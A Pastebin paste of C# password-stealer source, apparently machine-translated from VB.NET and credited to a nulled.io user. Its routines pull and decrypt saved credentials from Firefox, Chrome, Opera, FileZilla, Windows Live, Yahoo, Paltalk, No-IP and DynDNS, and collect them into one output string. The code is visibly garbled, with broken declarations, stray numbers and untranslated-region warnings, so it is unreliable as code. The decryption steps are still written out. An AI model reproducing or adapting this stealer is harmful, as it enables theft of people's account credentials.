Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Runtime.InteropServices;
- using System.IO;
- using System.Security.Cryptography;
- using System.Text;
- using System.Data;
- using System.Collections;
- using System.Collections.Generic;
- public class Main_Stealer {
- public static string GetPasswords() {
- OL = "";
- P1();
- P2();
- dyn();
- paltalk();
- GetFire();
- Chrome.Gchrome();
- p.Msn();
- CREDENTIAL.Yahoo();
- GetOpera();
- object r = new CIE7Passwords();
- r.Refresh();
- return OL;
- }
- }
- class p {
- public static void Yahoo() {
- try {
- // OL += vbNewLine & "###Yahoo" & vbNewLine
- foreach (string k in Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Yahoo\\Profiles").GetSubKeyNames) {
- OL = (OL + ("|URL| http://Yahoo.com" + ("\r\n" + ("|USR| "
- + (k + ("\r\n" + ("|PWD| " + "\r\n")))))));
- }
- }
- catch (Exception ex) {
- }
- }
- public string OL;
- [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
- public static bool CredEnumerateW(string filter, UInt32 flag, void <, void Out, void Greater, ref UInt32 count, void <, void Out, void Greater, ref IntPtr pCredentials) {
- }
- [StructLayout(LayoutKind.Sequential)]
- struct CREDENTIAL {
- public int Flags;
- public int Type;
- [MarshalAs(UnmanagedType.LPWStr)]
- public string TargetName;
- [MarshalAs(UnmanagedType.LPWStr)]
- public string Comment;
- public long LastWritten;
- public int CredentialBlobSize;
- public IntPtr CredentialBlob;
- public int Persist;
- public int AttributeCount;
- public IntPtr Attributes;
- [MarshalAs(UnmanagedType.LPWStr)]
- public string TargetAlias;
- [MarshalAs(UnmanagedType.LPWStr)]
- public string UserName;
- }
- // by saeed suleiman aka botop on nulled.io
- static void Msn() {
- // OL += vbNewLine & "###MSN" & vbNewLine
- try {
- UInt32 num;
- IntPtr zero = IntPtr.Zero;
- if (p.CredEnumerateW(("WindowsLive:name=" + "*"), 0, num, zero)) {
- int i;
- for (i = 0; (i
- <= (num - 1)); i++) {
- try {
- string s;
- OL = (OL + ("|URL| http://hotmail.com" + "\r\n"));
- CREDENTIAL credential;
- Marshal.PtrToStructure(Marshal.ReadIntPtr(zero, (IntPtr.Size * i)), typeof(CREDENTIAL));
- CREDENTIAL;
- OL = (OL + ("|USR| "
- + (credential.UserName + "\r\n")));
- try {
- OL = (OL + ("|PWD| "
- + (Marshal.PtrToStringBSTR(credential.CredentialBlob) + "\r\n")));
- }
- catch (Exception ex) {
- OL = (OL + ("|PWD| " + "\r\n"));
- }
- catch (Exception ex) {
- }
- i;
- }
- catch (Exception ex) {
- }
- // TODO: #End Region ... Warning!!! not translated
- P1();
- // ===FileZilla
- try {
- // OL += vbNewLine & "###FileZilla" & vbNewLine
- string[] O = IO.File.ReadAllText((System.Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\recentservers.xml")).Split("<Server>");
- foreach (string u in O) {
- object UU = u.Split("\r\n");
- foreach (string I in UU) {
- if (I.Contains("<Host>")) {
- OL = (OL + ("|URL| "
- + (I.Split("<Host>")[1].Split("</Host>")[0] + "\r\n")));
- }
- // If I.Contains("<Port>") Then
- // OL += "PRT: " & Split(Split(I, "<Port>")(1), "</Port>")(0) & vbNewLine
- // End If
- if (I.Contains("<User>")) {
- OL = (OL + ("|USR| "
- + (I.Split("<User>")[1].Split("</User>")[0] + "\r\n")));
- }
- if (I.Contains("<Pass>")) {
- OL = (OL + ("|PWD| "
- + (I.Split("<Pass>")[1].Split("</Pass>")[0] + "\r\n")));
- }
- }
- }
- }
- catch (Exception ex) {
- }
- P2();
- // NO-IP
- try {
- // OL += vbNewLine & "###NO-IP" & vbNewLine
- string s = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUC";
- string U = Microsoft.Win32.Registry.GetValue(s, "USERname", "");
- string P = Microsoft.Win32.Registry.GetValue(s, "Password", "");
- if ((U == "")) {
- return;
- }
- OL = (OL + ("|URL| http://no-ip.com" + ("\r\n" + ("|USR| "
- + (U + ("\r\n" + ("|PWD| "
- + (P + "\r\n"))))))));
- }
- catch (Exception c) {
- }
- GetVolumeInformation;
- "kernel32";
- ((int)("GetVolumeInformationA"[((string)(lpRootPathName)), ((string)(lpVolumeNameBuffer)), ((int)(nVolumeNameSize)), ref ((int)(lpVolumeSerialNumber)), ref ((int)(lpMaximumComponentLength)), ref ((int)(lpFileSystemFlags)), ((string)(lpFileSystemNameBuffer)), ((int)(nFileSystemNameSize))]));
- ((string)(HWD()));
- try {
- int sn;
- GetVolumeInformation((System.Environment.GetEnvironmentVariable("SystemDrive") + "\\"), null, null, sn, 0, 0, null, null);
- return Hex(sn);
- }
- catch (Exception ex) {
- return "ERR";
- }
- paltalk();
- try {
- // OL += vbNewLine & "###Paltalk" & vbNewLine
- char[] ser = HWD.ToCharArray;
- Microsoft.Win32.RegistryKey reg = Microsoft.Win32.Registry.CurrentUser;
- string out = "";
- reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Paltalk");
- string[] users = reg.GetSubKeyNames();
- reg.Close();
- foreach (string s in users) {
- int t;
- int o;
- int i;
- int x;
- string pass = Microsoft.Win32.Registry.GetValue(("HKEY_CURRENT_USER\\Software\\Paltalk\\" + s), "pwd", "");
- char[] chr1 = pass.ToCharArray;
- string[,] passarr;
- while ((t
- <= (UBound(chr1) - 4))) {
- if ((t
- < (UBound(chr1) - 4))) {
- passarr[o] = (chr1[t]
- + (chr1[(t + 1)] + chr1[(t + 2)]));
- }
- t += 4;
- o++;
- }
- string key = "";
- foreach (char c in s) {
- key = (key + c);
- if ((i <= UBound(ser))) {
- key = (key + ser[i]);
- }
- i = (i + 1);
- }
- key = (key
- + (key + key));
- char[] chr_arr = key.ToCharArray;
- string blainpass = "";
- blainpass = (blainpass + ((char)((passarr[0] - (122 - Asc(key.Substring((key.Length - 1), 1)))))));
- for (x = 1; (x <= UBound(passarr)); x++) {
- char tempchr;
- if ((passarr[x] == null)) {
- }
- else {
- tempchr = ((char)((passarr[x]
- - (x
- - (Asc(chr_arr[(x - 1)]) - 122)))));
- blainpass = (blainpass + tempchr);
- }
- }
- OL = (OL + ("|URL| http://Paltalk.com" + ("\r\n" + ("|USR| "
- + (s + ("\r\n" + ("|PWD| "
- + (blainpass + "\r\n"))))))));
- }
- }
- catch (Exception ex) {
- }
- dyn();
- // DynDNS.com
- try {
- // OL += vbNewLine & "###DynDNS" & vbNewLine
- object p = (System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE") + "\\").Replace("\\\\", "\\");
- object pp = (p + "DynDNS\\Updater\\config.dyndns");
- string usr;
- string ps;
- string pas;
- int ii;
- if ((IO.File.Exists(pp) == true)) {
- Array A = IO.File.ReadAllLines(pp);
- foreach (string s in A) {
- if (((s.ToLower.IndexOf("username=") + 1)
- > 0)) {
- usr = s.Split("=")[1];
- }
- if (((s.ToLower.IndexOf("password=") + 1)
- > 0)) {
- ps = s.Split("=")[1];
- for (i = 1; (i <= ps.Length); i = (i + 2)) {
- pas = (pas + ((char)(double.Parse(("&H" + ps.Substring((i - 1), 2))))));
- }
- for (i = 1; (i <= pas.Length); i++) {
- pas.Substring((i - 1), 1) = Chr(Asc(pas.Substring((i - 1), 1)), Xor, Asc("t6KzXhCh".Substring(ii, 1)));
- ii = ((ii + 1)
- % 8);
- }
- if ((usr.Length == 0)) {
- return;
- }
- OL = (OL + ("|URL| http://DynDns.com" + ("\r\n" + ("|USR| "
- + (usr + ("\r\n" + ("|PWD| "
- + (pas + "\r\n"))))))));
- return;
- }
- }
- }
- }
- catch (Exception ex) {
- }
- // TODO: #Region ... Warning!!! not translated
- 131;
- 125;
- 252;
- 15;
- 142;
- 179;
- 232;
- 105;
- 115;
- 175;
- 255;
- 0;
- 0;
- 0;
- 8;
- ((string)(path)) = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- ((string)(DOutput));
- GetOpera();
- // OL += vbNewLine & "###Opera" & vbNewLine
- if (File.Exists((path + "\\Opera\\Opera\\wand.dat"))) {
- path += "\\Opera\\Opera\\wand.dat";
- }
- else if (File.Exists((path + "\\Opera\\Opera\\profile\\wand.dat"))) {
- path += "\\Opera\\Opera\\profile\\wand.dat";
- }
- string Q = "";
- try {
- byte[] wand_file = File.ReadAllBytes(path);
- int block_size = 0;
- for (int i = 0; (i
- <= (wand_file.Length - 5)); i++) {
- if (((wand_file[i] == 0)
- && ((wand_file[(i + 1)] == 0)
- && ((wand_file[(i + 2)] == 0)
- && (wand_file[(i + 3)] == 8))))) {
- block_size = int.Parse(wand_file[(i + 15)]);
- byte[] key = new byte[] {
- 7};
- byte[] encrypt_data = new byte[] {
- (block_size - 1)};
- Array.Copy(wand_file, (i + 4), key, 0, key.Length);
- Array.Copy(wand_file, (i + 16), encrypt_data, 0, encrypt_data.Length);
- DOutput = (DOutput
- + (decrypt2_method(key, encrypt_data) + "\r\n"));
- i = (i + (11 + block_size));
- }
- }
- string[] A = DOutput.Split("\r\n");
- for (int i = 0; (i
- <= (A.Length - 1)); i++) {
- string w = FL(A[i]);
- string url = "";
- string U = "";
- string P = "";
- if ((w.ToLower.StartsWith("http://") || w.ToLower.StartsWith("https://"))) {
- url = w;
- if ((i + (2 < A.Length))) {
- for (int ii = (i + 1); (ii
- <= (i + 2)); ii++) {
- string xx = A[ii];
- if ((xx.ToLower.StartsWith("http://") || xx.ToLower.StartsWith("https://"))) {
- break;
- }
- if ((ii
- == (i + 2))) {
- U = FL(xx);
- }
- }
- }
- if ((i + (4 < A.Length))) {
- for (int ii = (i + 1); (ii
- <= (i + 4)); ii++) {
- string xx = A[ii];
- if ((xx.ToLower.StartsWith("http://") || xx.ToLower.StartsWith("https://"))) {
- break;
- }
- if ((ii
- == (i + 4))) {
- P = FL(xx);
- }
- }
- }
- OL = (OL + ("|URL| "
- + (url + ("\r\n" + ("|USR| "
- + (U + ("\r\n" + ("|PWD| "
- + (P + "\r\n")))))))));
- }
- }
- }
- catch (Exception ex) {
- }
- ((string)(FL(((string)(s)))));
- string f = "abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\\|\';:,<>/?+=";
- string w = "";
- foreach (string xx in s) {
- if (f.Contains(xx.ToLower)) {
- xx;
- }
- }
- return w;
- decrypt2_method(((byte[])(key)), ((byte[])(encrypt_data)));
- try {
- MD5CryptoServiceProvider md5Crypt = new MD5CryptoServiceProvider();
- md5Crypt.Initialize();
- byte[] tmpBuffer = new byte[] {
- (opera_salt.Length
- + (key.Length - 1))};
- Array.Copy(opera_salt, tmpBuffer, opera_salt.Length);
- Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length);
- byte[] hash1 = md5Crypt.ComputeHash(tmpBuffer);
- tmpBuffer = new byte[] {
- (hash1.Length
- + (opera_salt.Length
- + (key.Length - 1)))};
- Array.Copy(hash1, tmpBuffer, hash1.Length);
- Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length);
- Array.Copy(key, 0, tmpBuffer, (hash1.Length + opera_salt.Length), key.Length);
- byte[] hash2 = md5Crypt.ComputeHash(tmpBuffer);
- TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
- tripleDES.Mode = CipherMode.CBC;
- tripleDES.Padding = PaddingMode.None;
- byte[] tripleKey = new byte[] {
- 23};
- byte[] IV = new byte[] {
- 7};
- Array.Copy(hash1, tripleKey, hash1.Length);
- Array.Copy(hash2, 0, tripleKey, hash1.Length, 8);
- Array.Copy(hash2, 8, IV, 0, 8);
- tripleDES.Key = tripleKey;
- tripleDES.IV = IV;
- ICryptoTransform decryter = tripleDES.CreateDecryptor();
- byte[] output = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length);
- string enc = Encoding.Unicode.GetString(output);
- return enc;
- }
- catch (Exception e) {
- return "";
- }
- // TODO: #End Region ... Warning!!! not translated
- // TODO: #Region ... Warning!!! not translated
- firefox5;
- ((string)(GetFire()));
- // OL += vbNewLine & "###FireFox" & vbNewLine
- try {
- bool FoundFile = false;
- long KeySlot = 0;
- string MozillaPath = (Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\");
- string DefaultPath = (Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles");
- string[] Dirs = IO.Directory.GetDirectories(DefaultPath);
- foreach (string dir in Dirs) {
- if (!FoundFile) {
- string[] Files = IO.Directory.GetFiles(dir);
- foreach (string CurrFile in Files) {
- if (!FoundFile) {
- if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite")) {
- NSS_Init(dir);
- signon = CurrFile;
- }
- }
- else {
- break;
- }
- }
- }
- else {
- break;
- }
- }
- string dataSource = signon;
- TSECItem tSec = new TSECItem();
- TSECItem tSecDec = new TSECItem();
- TSECItem tSecDec2 = new TSECItem();
- byte[] bvRet;
- SQLiteBase5 db = new SQLiteBase5(dataSource);
- System.Data.DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
- System.Data.DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
- foreach (System.Data.DataRow row in table2.Rows) {
- }
- KeySlot = PK11_GetInternalKeySlot();
- PK11_Authenticate(KeySlot, true, 0);
- foreach (System.Data.DataRow Zeile in table.Rows) {
- string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString());
- string url = formurl;
- string usr = "";
- string pw = "";
- StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString());
- int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
- TSECItem item;
- Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
- TSECItem;
- if ((PK11SDR_Decrypt(item, tSecDec, 0) == 0)) {
- if ((tSecDec.SECItemLen != 0)) {
- bvRet = new byte[] {
- (tSecDec.SECItemLen - 1)};
- Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
- usr = System.Text.Encoding.UTF8.GetString(bvRet);
- }
- }
- StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
- int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
- TSECItem item2;
- Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem));
- TSECItem;
- if ((PK11SDR_Decrypt(item2, tSecDec2, 0) == 0)) {
- if ((tSecDec2.SECItemLen != 0)) {
- bvRet = new byte[] {
- (tSecDec2.SECItemLen - 1)};
- Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen);
- pw = System.Text.Encoding.UTF8.GetString(bvRet);
- }
- }
- OL = (OL + ("|URL| "
- + (url + ("\r\n" + ("|USR| "
- + (usr + ("\r\n" + ("|PWD| "
- + (pw + "\r\n")))))))));
- }
- }
- catch (Exception ex) {
- }
- SHITEMID;
- ((long)(cb));
- ((byte[])(abID));
- TSECItem;
- ((int)(SECItemType));
- ((int)(SECItemData));
- ((int)(SECItemLen));
- ((IntPtr)(LoadLibrary(((string)(dllFilePath)))));
- ((IntPtr)(GetProcAddress(((IntPtr)(hModule)), ((string)(procName)))));
- // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
- // TODO: Labeled Arguments not supported. Argument: 3 := 'ExactSpelling'
- // TODO: Labeled Arguments not supported. Argument: 4 := 'SetLastError'
- ((long)(DLLFunctionDelegate(((string)(configdir)))));
- ((long)(NSS_Init(((string)(configdir)))));
- string MozillaPath = (Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\");
- LoadLibrary((MozillaPath + "mozutils.dll"));
- // DODANO
- LoadLibrary((MozillaPath + "mozglue.dll"));
- LoadLibrary((MozillaPath + "mozcrt19.dll"));
- LoadLibrary((MozillaPath + "nspr4.dll"));
- LoadLibrary((MozillaPath + "plc4.dll"));
- LoadLibrary((MozillaPath + "plds4.dll"));
- LoadLibrary((MozillaPath + "ssutil3.dll"));
- LoadLibrary((MozillaPath + "mozsqlite3.dll"));
- LoadLibrary((MozillaPath + "nssutil3.dll"));
- LoadLibrary((MozillaPath + "softokn3.dll"));
- NSS3 = LoadLibrary((MozillaPath + "nss3.dll"));
- IntPtr pProc = GetProcAddress(NSS3, "NSS_Init");
- DLLFunctionDelegate dll;
- Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate));
- DLLFunctionDelegate;
- return dll[configdir];
- ((long)(DLLFunctionDelegate2()));
- ((long)(PK11_GetInternalKeySlot()));
- IntPtr pProc = GetProcAddress(NSS3, "PK11_GetInternalKeySlot");
- DLLFunctionDelegate2 dll;
- Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate2));
- DLLFunctionDelegate2;
- return dll[];
- ((long)(DLLFunctionDelegate3(((long)(slot)), ((bool)(loadCerts)), ((long)(wincx)))));
- ((long)(PK11_Authenticate(((long)(slot)), ((bool)(loadCerts)), ((long)(wincx)))));
- IntPtr pProc = GetProcAddress(NSS3, "PK11_Authenticate");
- DLLFunctionDelegate3 dll;
- Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate3));
- DLLFunctionDelegate3;
- return dll[slot, loadCerts, wincx];
- ((int)(DLLFunctionDelegate4(((IntPtr)(arenaOpt)), ((IntPtr)(outItemOpt)), ((StringBuilder)(inStr)), ((int)(inLen)))));
- ((int)(NSSBase64_DecodeBuffer(((IntPtr)(arenaOpt)), ((IntPtr)(outItemOpt)), ((StringBuilder)(inStr)), ((int)(inLen)))));
- IntPtr pProc = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer");
- DLLFunctionDelegate4 dll;
- Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate4));
- DLLFunctionDelegate4;
- return dll[arenaOpt, outItemOpt, inStr, inLen];
- ((int)(DLLFunctionDelegate5(ref ((TSECItem)(data)), ref ((TSECItem)(result)), ((int)(cx)))));
- ((int)(PK11SDR_Decrypt(ref ((TSECItem)(data)), ref ((TSECItem)(result)), ((int)(cx)))));
- IntPtr pProc = GetProcAddress(NSS3, "PK11SDR_Decrypt");
- DLLFunctionDelegate5 dll;
- Marshal.GetDelegateForFunctionPointer(pProc, typeof(DLLFunctionDelegate5));
- DLLFunctionDelegate5;
- return dll[data, result, cx];
- ((string)(signon));
- ((IntPtr)(HeapAlloc(((IntPtr)(heap)), ((UInt32)(flags)), ((UInt32)(bytes)))));
- ((IntPtr)(GetProcessHeap()));
- ((int)(lstrlen(((IntPtr)(str)))));
- ((int)(sqlite3_open(((IntPtr)(fileName)), ref ((IntPtr)(database)))));
- ((int)(sqlite3_close(((IntPtr)(database)))));
- ((int)(sqlite3_exec(((IntPtr)(database)), ((IntPtr)(query)), ((IntPtr)(callback)), ((IntPtr)(arguments)), ref ((IntPtr)(error)))));
- ((IntPtr)(sqlite3_errmsg(((IntPtr)(database)))));
- ((int)(sqlite3_prepare_v2(((IntPtr)(database)), ((IntPtr)(query)), ((int)(length)), ref ((IntPtr)(statement)), ref ((IntPtr)(tail)))));
- ((int)(sqlite3_step(((IntPtr)(statement)))));
- ((int)(sqlite3_column_count(((IntPtr)(statement)))));
- ((IntPtr)(sqlite3_column_name(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((int)(sqlite3_column_type(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((int)(sqlite3_column_int(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((double)(sqlite3_column_double(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((IntPtr)(sqlite3_column_text(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((IntPtr)(sqlite3_column_blob(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((IntPtr)(sqlite3_column_table_name(((IntPtr)(statement)), ((int)(columnNumber)))));
- ((int)(sqlite3_finalize(((IntPtr)(handle)))));
- // SQLite constants
- const int SQL_OK = 0;
- const int SQL_ROW = 100;
- const int SQL_DONE = 101;
- Enum;
- SQLiteDataTypes;
- INT = 1;
- FLOAT;
- TEXT;
- BLOB;
- NULL;
- Enum;
- ((IntPtr)(database));
- database = IntPtr.Zero;
- ((String)(baseName));
- OpenDatabase(baseName);
- OpenDatabase(((String)(baseName)));
- if ((sqlite3_open(StringToPointer(baseName), database) != SQL_OK)) {
- database = IntPtr.Zero;
- // Throw New Exception("Error with opening database " & baseName & "!")
- }
- CloseDatabase();
- if ((database != IntPtr.Zero)) {
- sqlite3_close(database);
- }
- ((ArrayList)(GetTables()));
- String query = ("SELECT name FROM sqlite_master " + ("WHERE type IN (\'table\',\'view\') AND name NOT LIKE \'sqlite_%\'" + ("UNION ALL " + ("SELECT name FROM sqlite_temp_master " + ("WHERE type IN (\'table\',\'view\') " + "ORDER BY 1")))));
- System.Data.DataTable table = ExecuteQuery(query);
- ArrayList list = new ArrayList();
- foreach (System.Data.DataRow row in table.Rows) {
- list.Add(row.ItemArray[0].ToString());
- }
- return list;
- ExecuteNonQuery(((String)(query)));
- IntPtr error;
- sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, error);
- if ((error != IntPtr.Zero)) {
- // Throw New Exception(("Error with executing non-query: """ & query & """!") + PointerToString(sqlite3_errmsg([error])))
- }
- ((System.Data.DataTable)(ExecuteQuery(((String)(query)))));
- IntPtr statement;
- IntPtr excessData;
- sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData);
- System.Data.DataTable table = new System.Data.DataTable();
- int result = ReadFirstRow(statement, table);
- while ((result == SQL_ROW)) {
- result = ReadNextRow(statement, table);
- }
- sqlite3_finalize(statement);
- return table;
- ((int)(ReadFirstRow(((IntPtr)(statement)), ref ((System.Data.DataTable)(table)))));
- table = new System.Data.DataTable("resultTable");
- int resultType = sqlite3_step(statement);
- if ((resultType == SQL_ROW)) {
- int columnCount = sqlite3_column_count(statement);
- String columnName = "";
- int columnType = 0;
- object[] columnValues = new object[] {
- (columnCount - 1)};
- for (int i = 0; (i
- <= (columnCount - 1)); i++) {
- columnName = PointerToString(sqlite3_column_name(statement, i));
- columnType = sqlite3_column_type(statement, i);
- switch (columnType) {
- case int.Parse(SQLiteDataTypes.INT):
- if (true) {
- table.Columns.Add(columnName, Type.GetType("System.Int32"));
- columnValues[i] = sqlite3_column_int(statement, i);
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.FLOAT):
- if (true) {
- table.Columns.Add(columnName, Type.GetType("System.Single"));
- columnValues[i] = sqlite3_column_double(statement, i);
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.TEXT):
- if (true) {
- table.Columns.Add(columnName, Type.GetType("System.String"));
- columnValues[i] = PointerToString(sqlite3_column_text(statement, i));
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.BLOB):
- if (true) {
- table.Columns.Add(columnName, Type.GetType("System.String"));
- columnValues[i] = PointerToString(sqlite3_column_blob(statement, i));
- break;
- }
- break;
- }
- }
- table.Rows.Add(columnValues);
- }
- return sqlite3_step(statement);
- ((int)(ReadNextRow(((IntPtr)(statement)), ref ((System.Data.DataTable)(table)))));
- int columnCount = sqlite3_column_count(statement);
- int columnType = 0;
- object[] columnValues = new object[] {
- (columnCount - 1)};
- for (int i = 0; (i
- <= (columnCount - 1)); i++) {
- columnType = sqlite3_column_type(statement, i);
- switch (columnType) {
- case int.Parse(SQLiteDataTypes.INT):
- if (true) {
- columnValues[i] = sqlite3_column_int(statement, i);
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.FLOAT):
- if (true) {
- columnValues[i] = sqlite3_column_double(statement, i);
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.TEXT):
- if (true) {
- columnValues[i] = PointerToString(sqlite3_column_text(statement, i));
- break;
- }
- break;
- case int.Parse(SQLiteDataTypes.BLOB):
- if (true) {
- columnValues[i] = PointerToString(sqlite3_column_blob(statement, i));
- break;
- }
- break;
- }
- }
- table.Rows.Add(columnValues);
- return sqlite3_step(statement);
- ((IntPtr)(StringToPointer(((String)(str)))));
- if ((str == null)) {
- return IntPtr.Zero;
- }
- else {
- Encoding encoding__1 = Encoding.UTF8;
- Byte[] bytes = encoding__1.GetBytes(str);
- System.UInt32 length = (bytes.Length + 1);
- IntPtr pointer = HeapAlloc(GetProcessHeap(), 0, ((UInt32)(length)));
- Marshal.Copy(bytes, 0, pointer, bytes.Length);
- Marshal.WriteByte(pointer, bytes.Length, 0);
- return pointer;
- }
- ((String)(PointerToString(((IntPtr)(ptr)))));
- if ((ptr == IntPtr.Zero)) {
- return null;
- }
- Encoding encoding__1 = Encoding.UTF8;
- int length = GetPointerLenght(ptr);
- Byte[] bytes = new Byte[] {
- (length - 1)};
- Marshal.Copy(ptr, bytes, 0, length);
- return encoding__1.GetString(bytes, 0, length);
- ((int)(GetPointerLenght(((IntPtr)(ptr)))));
- if ((ptr == IntPtr.Zero)) {
- return 0;
- }
- return lstrlen(ptr);
- // TODO: #End Region ... Warning!!! not translated
- // TODO: #Region ... Warning!!! not translated
- Chrome;
- Gchrome();
- // OL += vbNewLine & "###Chrome" & vbNewLine
- try {
- string datapath = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");
- object SQLDatabase = new SQLiteHandler(datapath);
- SQLDatabase.ReadTable("logins");
- if (File.Exists(datapath)) {
- string host;
- string user;
- string pass;
- for (i = 0; (i
- <= (SQLDatabase.GetRowCount() - 1)); i = (i + 1)) {
- host = SQLDatabase.GetValue(i, "origin_url");
- user = SQLDatabase.GetValue(i, "username_value");
- pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
- if (((user != "")
- && (pass != ""))) {
- OL = (OL + ("|URL| "
- + (host + ("\r\n" + ("|USR| "
- + (user + ("\r\n" + ("|PWD| "
- + (pass + "\r\n")))))))));
- }
- }
- }
- }
- catch (Exception ex) {
- }
- ((bool)(CryptUnprotectData(ref ((DATA_BLOB)(pDataIn)), ((string)(szDataDescr)), ref ((DATA_BLOB)(pOptionalEntropy)), ((IntPtr)(pvReserved)), ref ((CRYPTPROTECT_PROMPTSTRUCT)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut)))));
- // TODO: Labeled Arguments not supported. Argument: 2 := 'SetLastError'
- // TODO: Labeled Arguments not supported. Argument: 3 := 'CharSet'
- (Flags[] > Enum);
- CryptProtectPromptFlags;
- CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1;
- CRYPTPROTECT_PROMPT_ON_PROTECT = 2;
- CRYPTPROTECT_PROMPTSTRUCT;
- // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
- ((int)(cbSize));
- ((CryptProtectPromptFlags)(dwPromptFlags));
- ((IntPtr)(hwndApp));
- ((string)(szPrompt));
- DATA_BLOB;
- // TODO: Labeled Arguments not supported. Argument: 2 := 'CharSet'
- ((int)(cbData));
- ((IntPtr)(pbData));
- ((string)(Decrypt(((byte)(Datas())))));
- DATA_BLOB inj;
- DATA_BLOB Ors = new DATA_BLOB();
- GCHandle Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
- inj.pbData = Ghandle.AddrOfPinnedObject();
- inj.cbData = Datas.Length;
- Ghandle.Free();
- CryptUnprotectData(inj, null, null, null, null, 0, Ors);
- byte[] Returned = new byte[] {
- Ors.cbData};
- Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
- string TheString = Encoding.Default.GetString(Returned);
- return TheString.Substring(0, (TheString.Length - 1));
- SQLiteHandler;
- ((byte)(db_bytes()));
- ((UInt16)(page_size));
- ((UInt64)(encoding));
- ((sqlite_master_entry)(master_table_entries()));
- ((byte)(SQLDataTypeSize())) = new byte[] {
- 0,
- 1,
- 2,
- 3,
- 4,
- 6,
- 8,
- 8,
- 0,
- 0};
- ((table_entry)(table_entries()));
- ((string)(field_names()));
- record_header_field;
- Int64 size;
- Int64 type;
- table_entry;
- Int64 row_id;
- string[] content;
- sqlite_master_entry;
- Int64 row_id;
- string item_type;
- string item_name;
- string astable_name;
- Int64 root_num;
- string sql_statement;
- ((UInt16)(ToBigEndian16Bit(((UInt16)(value)))));
- return ShiftLeft((value && 255), ShiftRight((8
- || (value && 65280)), 8));
- ((UInt32)(ToBigEndian32Bit(((UInt32)(value)))));
- return ShiftLeft((value && 255), ShiftLeft((24
- | (value && 65280)), ShiftRight((8
- | (value && 16711680)), ShiftRight((8
- | (value && 4278190080)), 24))));
- ((UInt64)(ToBigEndian64Bit(((UInt64)(value)))));
- return;
- 56;
- // Needs BigEndian
- // GetVariableLength
- // returns the endindex of an variable length integer
- ((int)(GVL(((int)(startIndex)))));
- if ((startIndex > db_bytes.Length)) {
- return null;
- }
- for (i = startIndex; (i
- <= (startIndex + 8)); i = (i + 1)) {
- if ((i
- > (db_bytes.Length - 1))) {
- return null;
- }
- else if (((db_bytes(i) && 128)
- != 128)) {
- return i;
- }
- }
- return (startIndex + 8);
- // Eingaberichtung BigEndian
- // ConvertVariableLength
- ((Int64)(CVL(((int)(startIndex)), ((int)(endIndex)))));
- endIndex = (endIndex + 1);
- byte[,] retus;
- object Length = (endIndex - startIndex);
- bool Bit64 = false;
- if (((Length == 0)
- || (Length > 9))) {
- return null;
- }
- if ((Length == 1)) {
- retus[0] = (db_bytes(startIndex) && 127);
- return BitConverter.ToInt64(retus, 0);
- }
- if ((Length == 9)) {
- // Ein Byte wird n?mlich grad hinzugef�gt
- Bit64 = true;
- }
- int j = 1;
- int k = 7;
- int y = 0;
- if (Bit64) {
- retus[0] = db_bytes((endIndex - 1));
- endIndex = (endIndex - 1);
- y = 1;
- }
- for (i = (endIndex - 1); (i <= startIndex); i = (i + -1)) {
